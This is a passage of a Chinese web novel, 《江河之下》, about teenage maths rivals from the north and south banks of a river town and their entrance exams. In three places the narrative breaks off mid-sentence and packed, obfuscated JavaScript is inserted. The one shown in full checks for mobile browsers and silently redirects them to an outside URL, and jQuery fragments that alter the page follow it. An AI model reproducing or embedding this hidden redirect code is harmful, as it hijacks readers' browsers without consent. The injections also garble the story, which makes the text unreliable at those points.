《江河之下》 1. 江河两岸 江随意曾无数次想过,如果哪天再见到顾橖河会是什么场景。 可当那个人站在讲台上,全然没有初见的少年意气时,她始终无法将他与顾橖河三个字联系在一起。 明明是同样一张脸。 江随意想,要是一开始遇见的是这样的顾橖河,她怕不是早就跑得没影了。 “意意,你觉不觉得这个新同学看起来有点凶。”同桌靠近江随意的耳边,低声道。 顾橖河看着瘦,个高腿长,蓝白的校服穿得整整齐齐,说不上哪里奇怪,就是觉得和他整个人都不搭。眉眼如浓墨,与肤色形成极强的反差,偏偏看不到一丝生气。 “有点。”江随意又看了眼台上的人,随即低下头来,轻轻一句。 江随意说不上来这是什么感觉。人都是会变的,谁都没资格要求别人一直如初,何况她与他也不过是见过那么一次。 只是她的文物守护者,不该是这幅样子。 X年,夏。 A市有个叫江河的县城,顾名思义,整个县城里有一条大江和无数分支河流,河流名称多不胜数,可那条大江便只叫做江河,县名也取自这里。 靠江河而生,靠江河而活。 大江横穿整个县城,江河之上视为北江,江河之下,则为南江。 南北两江,向来不和。 早年间,南江北江的来往只靠江河渡口的船只。后来两方共同出资修建了一座大桥。揭幕通桥当天,北江运来了一个石碑子,正儿八经刻着‘北江大桥’四个字。原因也简单,无非他们那边儿多出了些钱。 南江这面自是不服气的,这和之前商量的完全不一样,于是想着筹些钱还给北江。 总之,这大桥通了几个月,名儿却始终定不下来。 南北两岸闹得不可开交,直至再次请来老县长才敲定了‘江河大桥’一名。 “说起这建桥后期,还出了些怪事,最后是老一辈的请人打了两座老鹰像才镇住的……” 刚入六月,天却早就热了。 南江中学初中部的教学楼因电力布局重新规划,每层楼的空调也顺带着要检修,一时半会儿是开不了的。 半开的窗吹进的满是屋外烦闷的热气,调至五档的风扇呼呼转着,更别说午后第一堂课便是有些枯燥的历史。 然而听见老师讲起南北两岸的过往恩怨,底下昏昏欲睡的人突然就来了劲。 “不是吧,这北江也太不要脸了,都要通桥了还要整这么些幺蛾子。” “老师,真的有这么玄乎吗?” “嘿,你还别说,我从前可听我爸讲过这回事儿,好像是桥底下有……” “行啦,别讨论了,都醒了没?”历史老师放下手中的水杯,翻开了自己的课本。 “这些也都是我听长辈们说的,听听就过了,有精神了就把书翻开,咱们今天四轮复习收个尾。” 钟表滴答滴答地转,头顶的风扇飞快扇动。 江随意在半梦半醒之间,抬头瞥了一眼,她每回瞧着这风扇都会忍不住想是不是马上就要掉下来了。 呼啦呼啦的,转得飞快。 心静自然凉就是个狗屁,外界物理攻击这么严重,这心脏总不能真不跳了吧。 从小到大,关于南北两岸的历史,江随意听了数遍,加上近期空调检修,她又是个怕热的,此刻脑子里一片混乱。 听见老师开始上课,她强撑着眼,在那满是笔迹的书上添添补补。一会儿翻两页书,一会儿往窗外瞅瞅,在历史过往的回顾中又沉沉睡了去。 “铃铃铃——” 老师合上书本,像往常一样将一叠试卷交给了课代表。 “没多久就要中考了,可长点心吧你们。” “唉,又是试卷。”林可可撕了两张卷子,又将剩余的递给后桌,道:“晓静,意意还没醒啊?” 张晓静接过卷子,撕下两张,继续往后传。 “醒过两回。”她将自己的名字写在试卷上,“讲题的时候。” 林可可轻轻地推了推江随意。 “意意,赶紧醒醒,等会儿是老班的课。” 江随意从手臂弯里抬起头,睡意朦胧,白净的小脸上印着校服袖口的纹路。 她愣了一会儿,似乎是没有反应过来,头顶的风扇依旧呼呼吹着,江随意的额间出了一层薄汗。 被叠成枕头的校服外套早已散了开来,重量几乎都是压在了手臂上,有些麻麻的。 她转转脖子,看了一眼校服外套便扔进了抽屉。 “今年的夏天…”江随意看向窗外,阳光略有些刺眼,眯着眸子,说道:“不妙啊。” 林可可抽了张纸巾给她,点头说:“英雄所见略同,这才刚六月就热成这样,七八月不得完蛋。” “心静自然凉。”张晓静拿起草稿本给她扇了扇,“下午初三年段全员开会,可以去报告厅凉快一会儿。” “可我的心也不浮躁啊。”江随意一边接过草稿本扇风,一边又拿起笔,唰唰地往卷子上签上自己的大名。 话音刚落,头顶的风扇突然降了速,吱呀呀转了两下便停住了。 江随意抬头一望,长叹一口气趴回桌子上。 “天要亡我呀。空调检修不让开就算了,连它们都撑不住了。” “别急别急,已经和老班说了,他逮了后勤部的老师好几次,今天放学就会有人来修,这可比空调快多了。”林可可才说完,那风扇又不声不响地转了起来,在十来秒的响铃中逐渐加速旋转。 班主任是数学老师,姓秦,年纪挺轻一小伙儿,和学生们都能聊得来,可偏偏也能拿捏得住这群小崽子。 平时闹得起劲儿,却也没谁真敢在他课上放肆。 见班主任从讲台上下来,一个一个地看做题情况,直至走到了江随意的桌边。 年轻的老师扶了一下眼镜,指尖轻扣在江随意的桌上。 “江随意,跟我出来一下。” 周遭的人动了下耳朵,瞬间都没了做题的心思,反而偷偷瞥一眼起身出门的江随意。 底下一阵骚动,班主任回头一个眼神,又全都低头做卷子去了。 林可可立起课本,转头问道:“张静静同学,你觉得老班找意意会是啥事儿?” 张晓静换了一页草稿,头也没抬起来。 “还能是什么事,无非就是竞赛和中考这两件呗。” 也不顾原本立着的课本掉下桌,林可可将身子完全转过来。 “你说,本来这A中的提前招都过了,怎么就放弃了呢?虽然我知道她就算是中考也能稳上。” 张晓静翻过卷子。 “意意不想上A中你不知道吗?” “啊?不上A中她要上什么?那可是市一中,省重点,你看看他们去年光是保送的就有好多,哪怕垫底的都是重本。” 张晓静停下笔,摇摇头,“程瑶说,意意好像想留在南江。” “程瑶?”林可可看了一眼自己右边空荡荡的位置,“她什么时候跟你讲的?她不是家里有事都好几天没来了。” “留在南江读书?”林可可彻底疑惑了。 “为啥意意没跟我讲,说,你们仨是不是背着我有小群了。” “我怎么知道,赶紧做你的题吧。”张晓静指着她那张空白的数学卷子。 林可可不情愿地转回去,得,咋还要留在南江呢。那照意意那成绩,也不用中考了,直升本部高中呗。 南江中学和北江中学算是他们县里最好的高中,可是这又哪里比得上A中,那毕竟是市里的重点高中,省里都能排上号的。 在林可可看来,江河县不差,只是像江随意这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十几岁的孩子还是有些幼稚且固执的,却也可爱极了。 老师当年看他们这些学生,是不是也如此觉得,所以才没有泼冷水。 秦老师这般想着,然后又瞧了一眼教室里的几十号人。 挺好的,现在坐在里面的,是我的学生。 夏日的白昼总是长一些,傍晚时分也不见天色暗下来。 放学的铃声照常响起,学校周遭的车辆都不由得慢下速度,等着一拨又一拨穿着校服的人儿先过去。 江随意坐在公交车站的候车椅上,两脚晃了晃。 忽然瞧见前面有个眼熟的人,她招了招手,喊道:“老师!” 秦老师今天值日,巡的是另一侧的接送点。只是今日搭档的老师有事提前回去了,这才绕到另一边看看。 “还没回去吗?” “这不是还没等到车嘛。” “几路?” “七路。”江随意指了指站牌的第三列。 “往镇江北那条路开的?今天那边修路,怕是改道了。放学没去领手机吗,联系家长了没有…”秦老师低头看了眼手机,“有点晚了,要不我开车送你回去吧。” 江随意扯了扯书包肩上的带子。 “会不会太麻烦了?” “没关系,天就要黑了你一个小女孩,我也不放心。走吧,东西拿好,跟老师回校。” “啊,好的,谢谢秦老师。” 江随意跟在他后面,从校服口袋里重新拿出手机,看了一眼,有些失落地垂着脑袋。 直到老师喊她,她才快速地打了几个字,然后小跑跟上。 2. 放学回家 秦老师开车很稳,车上也很干净,没有奇奇怪怪的味道。 她老爸常说,想要快速了解一个人,看他开车是啥样就行。果然,秦老师便是不争不抢的那一种,奖金被扣了都能笑笑过去。 秦老师从后视镜中看见后座小姑娘一直盯着自己,问道:“怎么了?” “没什么,就是觉得我爸说得对。” “嗯?说来听听。” “我爸说想知道一个人是什么样的,看对方开车的样子就行。” “那你说说都看出什么名堂来了?” 江随意坐在后座中间,往前凑了凑。 “秦老师你有对象吗?我看你也没比我们大多少,怎么一点少年热血都没有,平日里跟个老干部似的。” 江随意是初二转回来的,秦择舟也是那年开始教他们的。那时候他刚毕业,说起来这还是他带的第一届学生。 他开得缓,也不超车赶在红灯前穿过。在路口前停下,看着斑马线上涌过的人群,然后说:“做老师的总要有点威严才能镇得住你们这群小崽子吧,平平淡淡才是真啊。” 江随意听不明白,但他们大人总有自己的理。 绿灯亮起。 秦择舟起步也缓,不带一点冲劲。一路上都很顺,没多久就到了。 “秦老师,明天见。” “明天见。” 秦择舟看着那小姑娘笑容明媚,跨着大步子朝家里跑去,心情格外好。 比起隔壁班每天抓狂的张老师,他觉得自己的学生都无比乖巧省心。 而江随意在一串叮叮当当的挂件里找到了她家的钥匙,‘啪’的一下打开灯,果不其然,家中无人。 她将书包扔在沙发上,随之坐下来,打开手机,嘀咕一句:“还没回消息啊,叶女士最近可真忙。” 江随意还不饿,也不想做卷子,她将手机放在茶几上,自己便瘫倒在沙发上一动也不动。 软软的沙发陷了下去,她窝在那里,望着那盏灯,觉得有些刺眼,又起身去开了另一盏灯。 楼下的车子还停在原地,秦择舟拿出手机打了个电话,“小哭包,周末的比赛准备的怎么样了……”话音未落,便是一阵盲音。 他看着新收到的消息,笑得越发开心了。 小哭包:你要是再敢这么喊我【提刀威胁.jpg】 小朋友就是能让人心情愉悦啊。 秦择舟这样想着,然后发动了车子。 而大桥的另一岸,顾橖河又给秦择舟发了个恶狠狠的表情包。 他正沿着河边小道慢悠悠回家,少年身上的白色校服干净整洁,腿长个高,眉目如墨,怎样都能引得他人侧目。 前面不远便是个小公园,再往前就快到家了。他依旧是不紧不慢的步子,直至前边儿磕磕绊绊的跑来一个小豆丁。 “橖橖~”小朋友看着一岁多的样子,话讲不清,边跑边摔。 顾橖河瞧见了,也不像刚刚那样慢悠,而是大步走去,张开手让小朋友扑了个满怀。 “哟,这是哪家的乖乖那么可爱。”顾橖河抱起豆豆。 小姑娘扎了俩冲天小辫儿,眼眸弯弯,含含糊糊说了声:“橖橖……” “是舅舅。”顾橖河戳了戳小朋友的脸,重新纠正。 “橖橖!”豆豆认真喊了一遍,这回倒是不含糊。 顾橖河被她的小模样逗笑了。 “得,改不回来了,橖橖就橖橖吧。” “这丫头早就出来等你了,大老远儿瞧见你便拽也拽不住,一个劲儿就知道跑。” 顾橖清推着小车跟了上来。 “不是都说外甥女跟舅舅比较亲。”顾橖河笑着回她。 豆豆像是听懂了,便用脸蹭了蹭他。 顾橖清说:“走啦,回家吃饭。咱爸今天不知道为什么非要拉着你姐夫喝酒,赶紧回去劝劝。” “顾老师今儿心情不错莫。”顾橖河贴着豆豆说:“你说外婆怎么不拦拦外公。” 豆豆晃了晃脑袋,一本正经道:“阿公喝酒酒,婆婆搓麻~将。”小家伙说话软软糯糯,还掺杂着江河地带的方言。 “那豆豆做什么呀?” “豆豆接橖橖~” 穿过公园,便是一条老街,自行车铃声在各个巷口里穿梭。家家户户的菜香四溢,时不时便有人吆喝着回家吃饭。 北江中学。 直到保安催促,江随和才出校门。手机震了震,他瞧了一眼来电,接了电话。 “喂,程姨。” “阿和,放学了吗?” “嗯,马上回去了。” “那你能联系上江随星吗,那臭小子四点放学到现在还没回家,还非缠着要电话手表,现在好了给他打电话也不接。” “那我去三小那边看一下。”说着,他便换了个方向走去。 “行,路上小心,今天做了你喜欢吃的菜,早点回来。” “好,程姨再见。” 江随和给江随星发了消息,没回,但儿童空间倒是有动态。 啧,这小手表功能还挺多。 【江随星:每一颗苍老而疲惫的心里,都藏着连绵不绝的爱意。[注1]】 再往下,是江随意的评论。 【意意:小朋友,需要阿姐带你去挂号吗?心脏科。 江随星:(●—●) 意意:放心,江总在市医里有人。】 江随和笑了笑,是弟弟的风格,意意的发挥也很稳定。 他继续往下看。 【江随星:大海啊,你将我的爱带往了何处,为何不将我一起沉入海底? 意意:别想不开啊崽,哪片海,等两分钟,阿姐去捞你。 江随星:(╥╯^╰╥) 意意:差点忘了这附近只有江,阿姐现在就去江河渡买船票捞你。】 江随星一连发了好几条,江随和重新回到最新一条打断了他们。 【H:程姨喊你回家吃饭 江随星:好嘞哥ヽ( ̄▽ ̄)??】 江随和退出儿童空间,回到微/信界面给程姨发消息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎呦,小可怜,让老爸瞧瞧。”江渐明仔细看了看,又捧着那张小脸捏了捏,正想心疼,抬头便看见程遇站在那,马上改口,提了音量。 “该,放学不回家,瞎溜达什么!” 江随星怒瞪着眼,气呼呼的,然后又肉眼可见的怂了下去。 小白菜啊,地里黄,江星星啊,没人爱~~ 程遇冷哼一声:“父子俩一个德行。”转头就拉着江随和进屋,“果然只有阿和最让我省心,等会儿那汤就给你一人喝。” 吃完饭后,又闹了好一会儿,江随和才注意到消息。 意意:【图片】 橘色的光晕从窗外洒进来,贝壳风铃随风晃荡,屋子里似乎也是暖光。 江随和恍惚间好像听见了风铃的声音。 他一顿,将照片保存了下来,然后指尖在屏幕上点了几下。 十六岁的少女窝在沙发上睡了过去,茶几上的手机亮了一下屏幕,门口传来钥匙开锁的声音。 3. 是顾橖河 六月的天,黑得迟,亮得早。 校门口的早餐店挤满了人,热腾腾的包子冒着烟,抓在手里还烫乎着。 穿着校服那人胡乱吹了几口,叼着包子进匆匆往北江中学的初中部跑去。 初三(二)班。 “阿橖,江湖救急,练习本给我借鉴一下。”林烨嘴里还嚼着,手却‘砰’拍在门上。 “各位兄弟姐妹,前线消息,龙哥的车已经停在楼下了。” 顾橖河打了个哈欠,情绪不高。他摸了摸抽屉,扔出一本练习册。 林烨接过,飞速地抄了起来。 “得嘞,谢谢我亲爱的橖橖哥哥。” 顾橖河腿一伸,往前一踹,“抄你的,少恶心我。” 林烨的字迹如天书,马上又还了回来,恭恭敬敬地摆在顾橖河的桌子上。 “谢壮士救命之恩。” 他一抱拳,声音洪亮,将电视剧里的江湖人士学了个七八分。 “都中考了,能不能学学我。”沈明辉拍拍自己手里写得满满当当的练习本。 “得了吧,你这水平还不如我呢,昨天你求着阿和教你,我还头一次见他崩了脸。”林烨白了沈明辉一眼。 沈明辉笑笑道:“还有时间,不急。” 顾橖河扬了下眉,望向自己的同桌。 “辛苦你了。” 他说得真情实切。 并不想参与的江随和:“……” 正聊着,沈明辉掏出一面小旗帜。 浅蓝色的小旗帜,背面印着北江中学的校徽,正面印着两行花体字。 北江中学,三年蝉联。 十届金杯,橖王必胜。 顾橖河手中转的笔‘啪嗒’一下就掉了。 林烨也跟着愣住了,他接过小旗帜打量了一下,明晃晃嫌弃的表情。 “这什么东西?” “应援旗帜啊,我从他们宣传部那里拿的,之前学校活动剩了很多,我让他们帮忙印了字。”沈明辉说着,便将抽屉里那一堆小旗帜拿了出来,摊在桌子上。 “什么应援?” 沈明辉挠挠头:“我看我妹追星都这样,她上个月还发愤图强学习,求我妈给她买演唱会的门票。” “不管是个人赛还是团体友谊赛,全都是咱北江的。等到友谊赛阿橖上场的时候,咱们坐观众席的一定记得喊口号。”他指着橖王两个字。 “我昨天还听高中部的学姐说,他们之前预赛联赛入围的不少,还有进省队的。咱们中学组虽然规模不大,但这气势还是要的。” 林烨摇了摇旗帜,竟也来了兴趣:“可以,友谊赛一开始,咱们就先气势上压倒其他学校。” 顾橖河看着旗帜沉默了,他可丢不起这个人。 一旁的江随和倒是开口。 “三年蝉联,未免说的太早了吧。” 闻言,顾橖河回头去看他,打趣儿道:“阿和哥哥这是瞧不上我?” 江随和放下手里的书,回他:“听说南江换人了。” 沈明辉:“哦对,南江换人了,阿橖你猜是谁?” 林烨倒觉得没什么。 “换就换呗,联考十校,我北江橖王称霸。” “可南江这次个人赛来的是江随意。” “江随意?”顾橖河收了腿,原本有些漫不经心,听到这个名字的时候愣了一下,可也没有太意外。 怪不得老秦昨天问他准备的怎么样了。 林烨也惊讶了:“就是初二转到南江,然后就次次联考压着阿橖的那个?” 沈明辉点点头:“小道消息,江随意从前在隔壁省拿了不少奖,之后好像是要走这条路的。” 反观顾橖河,他现在虽然也是竞赛班的一员,不过将来确实不打算往这方面考虑。 “我不管,反正我压阿橖蝉联。” “我也觉得,橖王必胜。”沈明辉挥挥小旗帜。 两人看向江随和,后者正准备复习,两道炽热的目光盯得他着实难受。 “加油。”他对顾橖河道。 顾橖河侧过身,用右手撑着脑袋,语调慢悠悠的。 “阿和哥哥今日好生冷漠,你难道觉得橖橖会输吗?” 江随和瞥一眼笑得贱兮兮的顾橖河。 “……” 就不是很正常。 林烨嘴里念着两个名字,像发现了什么。 “绝对有情况,江随和,江随意,你们听听……随和随意,你俩该不会是亲戚吧?” 沈明辉疑惑:“阿和不是只有星星一个弟弟?” 昨天豆豆吹了风,晚上有些发热,哼哼唧唧难受了一宿,硬是要顾橖河抱着才肯睡。 此时困意上来了,他又打了个哈欠,眸间闪闪,笑着说:“阿和哥哥不对劲哦~” 于是另外两人也开始跟着起哄。 “不对劲哦,阿和哥哥~” 江随和:“……” 行,没一个正常的。 这次竞赛轮到仙河高中举办。 仙河高中地处江河北岸,过河就到了。因此南江参加比赛的几所学校并没有选择坐大巴从大桥过,而是通知在江河渡口集合。 最早的渡船5:30开船,他们定在了七点半集合,两岸来回不过四十分钟,时间刚刚好。 江随意今日起早了,天蒙蒙亮便下楼晨跑,还和公园遛鸟的大爷聊了会儿天,一点也没有比赛的紧张感,直到叶女士要去公司顺便送她来江河渡口。 刚来时渡口堂前还只有零星的几个人在买票,她站在江岸的栏杆旁,吹着风,看着江上几只渔船。 江岸宽阔,四周也无遮挡,是赏日出的最佳之地。金光照耀在江面上,闪着耀耀波光,眼瞧着渡船轰轰的过去,一艘又一艘。 太阳才升起,江随意便觉得有些热了。 这夏天正踱着步子靠近。 人陆陆续续都到了。 六所学校包括参赛同学和领队老师也有几十号人,分了两艘船。 这些渡船有些年头了,承载着江河县一代又一代的记忆,是以至今未曾废止江河渡口。 渡船从前大多时候是载货的,现如今按人头收船费,一人一票,一票两元。 人手拿着一支颜色暗沉的竹签凭票。 上了船后,里面倒是空阔,大家都选择远离轰轰震响的发动机,江风中夹杂着一点柴油味儿,没一会儿便被吹散了。 江河北岸渡口早早有人拉着横幅等候。 仙河高中离渡口不远,拐个弯就到了。除了他们校初中部的,北江另外三所中学也已经到齐了。 上午是个人赛,九点半正式开始。下午是友谊赛,类似于团体数学知识竞答,是积分制的,届时还会有观众进场。 江随意坐到了最后一刻,仔仔细细将所有题目复查完后才交了卷,至于个人赛成绩会在中考结束后出来。成绩优异的正好赶着办理中考成绩加分。 午后的阳光打在橘红色的教学楼上,光影投在地面。用完中餐后,江随意便在校内闲逛了起来。 仙河高中是江河县最早办学的学校之一,起初叫做仙河学堂,很多老一辈的人都在这儿念过书,于是仙河高中的大多地方都保留着历史的痕迹。 远离大堂,往教学楼深处走,有一间红棕色的小矮房,四周皆是野草,像是许久未有人打理了。 江随意踏过草丛,小心翼翼地从斑驳破旧的窗子往里探看,空荡荡的什么也没有,只有墙上有些许看不清的痕迹。 她有些好奇,推开了木门走进去。 那墙上不知是用什么画上了许多图案,有的还配字,一幅幅,好生有趣。 江随意的指尖沿着笔迹描绘,擦不掉的碳墨,奇怪有趣的连环画,大大小小的划痕,应该有很多年头了。 “怎么也不修缮一下,外边儿的教学楼看起来倒是挺新的。”她小声嘟囔着。 “同学,历史文物不要乱碰哦。” 突然来的一声,吓得江随意缩回了手。她转过头去,就瞧见一个高个男生逆光站在门口。 啊?历史文物? 大概是外面的阳光太刺眼,江随意晃了眼,不知怎么就脱口而出:“文物守护者?” 对方似乎也没想到,几秒过后点了点头,笑了一声,重复道:“嗯,没错,被你发现了。我就是文物守护者。” 江随意呆在那里没有动。 不是吧,江随星看的动画片人物跑出来了? 他走近,江随意才看清这个人。 利落的短发,墨色的眸子,眼型狭长带着笑意。白色的短袖,胸口明晃晃绣着‘北江中学’四字以及校徽标识。 “……” 她的脑子大抵是落在江随星那里了。 就见他打量了一下整个小屋,像是在数什么,然后绕到了江随意的身后。 江随意看他蹲下,也跟着蹲下。 “你在找什么?” 那个男生在墙角摸索着,听到江随意的问题,他回道:“欣赏历史文物。” 他开着手机的手电筒,一点点找着,墙上有许多杂乱的画痕,直至光源照着的最下角,他停住了。 墙角下画着一幅画,好像是一头猪和一个耀武扬威的小人,猪的上面写着几个字。上面还覆盖了许多乱七八糟的,江随意看不太清楚,隐约好像是‘苏音’。 闪光灯一闪,那个男生将这幅画拍了下来。 江随意看着他这一系列操作,不明其意。 “文物拍照是不能使用闪光灯的。” 顾橖河见她一本正经,低声轻笑道:“文物不可以,但我爸的黑历史可以。” 没头没尾的,江随意不太理解。 顾橖河关了手电筒,将照片转发给了顾橖清,然后转头,那小姑娘依旧是一脸茫然的样子。 风一吹,木门掩了一半。屋里本就不亮敞,现下手机荧屏是唯一能看清的光。 江随意眉眼轮廓柔和,扎着高马尾,看起来很温顺的样子,只是顾橖河隐约觉得这位同学有些眼熟。 “橖河,马上要预检了。”屋外有人喊了一声。 “知道了。”顾橖河朝屋外回了一声,然后对江随意说:“走吧同学,要预检了。。” “啊,好的。”江随意走了神,她怎么觉得刚刚那声音像是江随和的。 顾橖河出去的时候,就见江随和站在树荫下,他停住步子盯着对方的脸看了一会儿,然后又忍不住回头往后看。 “怎么了?”江随和拍了拍他的肩,也朝屋子看去,“发生什么事了?” 顾橖河回神,摇摇头。 “没事,走吧。” 怪不得觉得眼熟,那个女生长得跟江随和到有点像。 而江随意蹲得有些麻了,对方出去后,她才扶着墙站起来。然后掏出手机给江随和发了条消息,但对方没回,又给江随星发了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635277|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语音。 【一条大江:崽? 江星星:诶! 一条大江:哥哥今天在家吗?我给他发消息都没回我。 江星星:不在啊,一早就出门了,说是有个同学比赛去现场了,估计忙着加油没注意吧。 一条大江:我也有比赛,他怎么不来看我? 江星星:阿姐今天也比赛吗?在哪里?弟弟去给你冲锋陷阵摇旗助威!(??ω??) 一条大江:你可拉倒吧,作业不够多吗?小心程姨揍你! 江星星:┭┮﹏┭┮姐姐莫提伤心事】 江随意戳了戳弟弟的小猪崽头像。 “刚刚不会真的是江随和吧?”江随意出了小屋,看着江随和的聊天页面还是没回,“没听说他也参加了啊。” 她将刚打出的‘哥’删了,又打了‘臭弟弟’三个字发出去,顺便将备注也改了。 距离正式开赛还有三十分钟,各校选手已经在后台等待,观众席上也陆陆续续来了人。 江随意如愿见着了江随和。 【H:? H:怎么了?】 江随意看看自己手机上的消息,再瞧着对面的江随和。“倒是转头呀,臭弟弟果然是臭弟弟。” 手机频繁的震动,江随和点进来就见满屏的表情包。 【意意:臭弟弟臭弟弟臭弟弟 意意:我小叮当无话可说.jpg 意意:小鸡旋风踢.jpg 意意:靓仔被嫌弃.jpg 意意:头还想要吗.jpg 意意:你怎么在后台?没听你说要比赛啊?】 【H:同学比赛给了观众席的票,来后台看看,等会儿就出去了,你在哪儿呢?】 见江随和开始四处望,江随意只是轻哼一声将手机关了,拒不回复。 林烨靠近瞅了一眼江随和的手机,问道:“这是谁啊?” 江随和刚找着不远处的人,就见她一甩马尾,转过了身。顾橖河和沈明辉也过来了,后者手上还拿了好几面小旗帜。 “聊什么呢你俩?” 林烨接过一面旗,问道:“没,你们队准备的怎么样?” 顾橖河还是嫌弃这旗帜,退了一步,然后又碰了下江随和。 “找什么呢?”他顺着对方的目光看过去,“是她呀。” 江随和回头:“你认识?” 顾橖河:“刚才见过,就你来找我时,她也在里面。” “谁呀?诶,那校服不是南江的嘛。”沈明辉也凑过来。 林烨:“南江啊,那该不会就是江随意吧,让我瞅瞅长什么样,唔,看不太清。” “江随意又怎么了,反正……”沈明辉拿出旗帜,“橖王必胜。” 江随和没说话,反倒是顾橖河饶有兴趣地打量着他。 “阿和哥哥怎么了,对我那么没信心啊?” 又不正经…… 江随和很清楚妹妹这些年的情况,不管是个人竞赛,还是团体,她都能赢得很出彩。 结果也正如他所料,这场友谊赛是南江中学胜了,甚至在外人看来是轻轻松松就赢了。 结束的太快以至于让人措手不及,铃响的那一刻,全场寂静。紧张,激烈,刺激,沉默,所有的感官都被放大,情绪在一瞬间爆发,片刻之后,迎面而来的是一场铺天盖地的掌声与欢呼。 顾橖河绷紧的身子终于松懈,他靠在椅子上,压迫感过去后却有一种畅快淋漓的感觉。 还好上午竞赛是各写各的卷子,遇上这样的,心态差点都崩了。 他抬眸望向对面那个女孩子,对方却朝他一笑。 其余参赛选手还是被震耳欲聋的欢呼声寻回了神,他们答题时的感受没比顾橖河好到哪里去。 解题速度太快了。 虽然有些题目可以套公式套答案,但风险也大,可偏偏江随意就是这般自信。 按铃,答题,夺分,一步未差。 云淡风轻到跟她的名字一样,江随意。 南江其余选手:就说她离谱吧...... “江随意。” 领完奖后,江随意听见有人在叫自己,一回头,便瞧见早上那个人站在答题区位,拿着她的台签。 对方朝她招了招手,然后向她走来。观众席散场,台下喧闹声不停,江随意却看见对方的眼里映着她的影子。 顾橖河见她发愣,伸手在她眼前晃了晃,又唤了一声:“江随意。” 礼堂的门被打开,人群逐渐散去,外界的风忽然涌进吹过她的后颈,睫毛轻轻一颤,手指无意识揪住衣角。 “嗯,我在。” 他压不住嘴角的笑意,指着另一边的台签说:“我叫顾橖河。” 江随意点点头,她方才就注意到了。 “你很厉害。” 不出意外,这次个人赛的金杯应该也是她的。 “没关系的,还有机会。” “嗯?” 江随意望着他,五官没有一点攻击性,一双清亮的杏圆眼,眼角微微上翘。 “我们中考榜上见!” 认真又热烈。 顾橖河一怔,手中的台签忽然有些烫手。他拿紧了,笑着回她。 “中考榜上见!” 江随意被他的笑晃了眼,数次联考紧靠着的名字忽然具象化了。 这顾橖河……长得还有点好看。 4. 那场中考 这世上不受人控制的东西有很多,时间便是其中最特殊的一种。 小学毕业那年,同学录上还是奇奇怪怪的火星文,江随意非常幼稚地和同学拜了把子,最后哭着说了再见,约定着要一辈子记得彼此。 后来初中她跟着妈妈到隔壁省读书,初二又转了回来。唯有搬家收拾东西那次,她才记起那个小学毕业后甚少打开的箱子。同学录里的人基本没了联系,甚至看见那些花里胡哨的字体开始吐槽起当初的品味。 三年的时间转瞬即逝,明明前天还坐在教室里埋头刷题,现在大脑却像是宕机了一般,怎么也想不起来关于初中这几年的任何回忆。 在监考老师宣读完考场纪律后,最后一场考试的铃声便响了起来,这预示着下一个三年即将到来。 除了窗外树叶扇动,整个考场就只剩试卷翻页和笔墨落下的声音。这场分流,所有人都在奔向一个不同且未知的新旅程。 唯有江随意写上姓名学校,涂完准考证号,便把笔放下了。 她望着卷子出神。 听力提前三个星期就考掉了,那张198元的听力练习光盘也早早被她扔进垃圾堆,如今这张英语卷子便都是笔试。 她在想如果自己没有如叶女士所愿考上A中,她会不会像程姨教训不听话的江随星那样狠狠批评自己? 但这和叶女士一贯的形象不符,江随意想象不出来届时会是什么样子。 各种思绪弄得她有些烦躁,恨不得将眼前的卷子撕碎。可理智又告诉她这是违法的,到时候还需要叶女士去捞她。 江随意的白卷,没多久就引起了监考老师的注意。 老师走到她旁边轻轻提醒,瞧见江随意的卷子依旧还是一片空白,皱了皱眉。 “注意时间。” 江随意握住笔,脑子里又开始想东想西。 她只是不明白之后要做什么。 去上A中,继续搞竞赛,高二选物化生,争取保送名额,要么之后再去国外待几年。 叶女士都给她计划安排好了,还纠结什么呢。 程瑶说她这是在无病呻吟,身在福中不知福。要是她有这么好的机会,会死死的握住不松手。 那些乱七八糟的事情在脑海里打转,江随意一会儿拿起笔一会儿又放下,反反复复好几次,再次引来监考老师的关注。 “同学,你怎么了,是不舒服吗?” 江随意摇摇头,暗自懊恼,生怕惊扰了别人。随后瞥见其他人正在奋笔疾书,无暇顾及自己才松了口气。 可偏偏监考老师觉得她不对劲,蹲下低声问:“同学,你是哪里不舒服吗?要是有就说,不要硬撑着。” 江随意看着监考老师关切的模样,本来不觉得有什么,但这么一问,她的脑袋里像是有根紧绷着的弦,硬拉扯着,嘴巴里忽然弥漫开一点苦味,就连呼吸也有些急促起来。 她极力控制自己,放缓呼吸,然后说:“老师,可以帮我拿块巧克力吗?门口第一张桌子,浅黄色书包,挂着一个铃铛。” 她并不因这场考试而紧张,只是厌烦,甚至想再叛逆一些,却又无比矛盾。 见她不舒服,以为是有些低血糖,监考老师的语气放得更轻了。 “你等一下,我去问一下台上的老师。” 监考老师上去和另一位女老师说了这件事,女老师往江随意的位置看了一眼,又低头说了什么,接着便出去了。 看着老师出门的那一瞬间,脑子里的弦不知怎就绷断了。 那些念头闪过,怎么也挥之不去。她想着,不如就再叛逆点,反正她连提前招都放弃了,这A中她就是不要上,中考光荣榜也不要了。 中考...... 中考榜上见! 顾橖河的声音忽然在脑海里想起。 江随意抿抿唇,最终还是动笔了。她做题有些赶,也顾不得在卷子上写些什么,而是直接涂卡。 